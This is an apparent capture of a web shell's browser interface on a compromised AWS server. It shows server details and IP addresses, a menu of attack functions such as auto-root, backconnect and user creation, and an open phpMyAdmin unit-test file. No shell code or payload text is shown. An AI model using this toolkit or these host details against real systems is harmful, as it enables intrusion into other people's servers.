Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.117.71.244
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BrowseForeignersTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\BrowseForeigners; use PhpMyAdmin\Config; use PhpMyAdmin\Template; use PhpMyAdmin\Theme\ThemeManager; use PHPUnit\Framework\Attributes\CoversClass; #[CoversClass(BrowseForeigners::class)] class BrowseForeignersTest extends AbstractTestCase { private BrowseForeigners $browseForeigners; /** * Setup for test cases */ protected function setUp(): void { parent::setUp(); $this->browseForeigners = new BrowseForeigners(new Template(), new Config(), new ThemeManager()); } /** * Test for BrowseForeigners::getForeignLimit */ public function testGetForeignLimit(): void { self::assertNull( $this->browseForeigners->getForeignLimit('Show all'), ); self::assertSame( 'LIMIT 0, 25 ', $this->browseForeigners->getForeignLimit(null), ); $_POST['pos'] = 10; self::assertSame( 'LIMIT 10, 25 ', $this->browseForeigners->getForeignLimit(null), ); $config = new Config(); $config->set('MaxRows', 50); $browseForeigners = new BrowseForeigners(new Template(), $config, new ThemeManager()); self::assertSame( 'LIMIT 10, 50 ', $browseForeigners->getForeignLimit(null), ); self::assertSame( 'LIMIT 10, 50 ', $browseForeigners->getForeignLimit('xyz'), ); } /** * Test for BrowseForeigners::getHtmlForGotoPage */ public function testGetHtmlForGotoPage(): void { self::assertSame( '', $this->callFunction( $this->browseForeigners, BrowseForeigners::class, 'getHtmlForGotoPage', [null], ), ); $_POST['pos'] = 15; $foreignData = []; $foreignData['disp_row'] = []; $foreignData['the_total'] = 5; self::assertSame( '', $this->callFunction( $this->browseForeigners, BrowseForeigners::class, 'getHtmlForGotoPage', [$foreignData], ), ); $foreignData['the_total'] = 30; $result = $this->callFunction( $this->browseForeigners, BrowseForeigners::class, 'getHtmlForGotoPage', [$foreignData], ); self::assertStringStartsWith('Page number:', $result); self::assertStringEndsWith('</select>', $result); self::assertStringContainsString('<select class="pageselector ajax" name="pos"', $result); self::assertStringContainsString('<option selected="selected" style="font-weight: bold" value="0">', $result); self::assertStringContainsString('<option value="25"', $result); } /** * Test for BrowseForeigners::getDescriptionAndTitle */ public function testGetDescriptionAndTitle(): void { $desc = 'foobar<baz'; self::assertSame( ['foobar<baz', ''], $this->callFunction( $this->browseForeigners, BrowseForeigners::class, 'getDescriptionAndTitle', [$desc], ), ); $config = new Config(); $config->set('LimitChars', 5); $browseForeigners = new BrowseForeigners(new Template(), $config, new ThemeManager()); self::assertSame( ['fooba...', 'foobar<baz'], $this->callFunction( $browseForeigners, BrowseForeigners::class, 'getDescriptionAndTitle', [$desc], ), ); } /** * Test for BrowseForeigners::getHtmlForRelationalFieldSelection */ public function testGetHtmlForRelationalFieldSelection(): void { $db = ''; $table = ''; $field = 'foo'; $foreignData = []; $foreignData['disp_row'] = ''; $fieldkey = 'bar'; $currentValue = ''; $_POST['rownumber'] = 1; $_POST['foreign_filter'] = '5'; $result = $this->browseForeigners->getHtmlForRelationalFieldSelection( $db, $table, $field, $foreignData, $fieldkey, $currentValue, ); self::assertStringContainsString( '<form class="ajax" ' . 'id="browse_foreign_form" name="browse_foreign_from" ' . 'action="index.php?route=/browse-foreigners', $result, ); self::assertStringContainsString('" method="post">', $result); self::assertStringContainsString('<fieldset class="row g-3 align-items-center mb-3">', $result); self::assertStringContainsString('<input type="hidden" name="field" value="foo">', $result); self::assertStringContainsString('<input type="hidden" name="fieldkey" value="bar">', $result); self::assertStringContainsString('<input type="hidden" name="rownumber" value="1">', $result); self::assertStringContainsString('<div class="col-auto">', $result); self::assertStringContainsString('<label class="form-label" for="input_foreign_filter">', $result); self::assertStringContainsString( '<input class="form-control" type="text" name="foreign_filter" ' . 'id="input_foreign_filter" value="5" data-old="5">', $result, ); self::assertStringContainsString( '<input class="btn btn-primary" type="submit" name="submit_foreign_filter" value="Go">', $result, ); self::assertStringContainsString( '<table class="table table-striped table-hover" id="browse_foreign_table">', $result, ); $foreignData['disp_row'] = []; $foreignData['the_total'] = 5; $result = $this->browseForeigners->getHtmlForRelationalFieldSelection( $db, $table, $field, $foreignData, $fieldkey, $currentValue, ); self::assertStringContainsString( '<table class="table table-striped table-hover" id="browse_foreign_table">', $result, ); self::assertStringContainsString('<th>', $result); } }
Close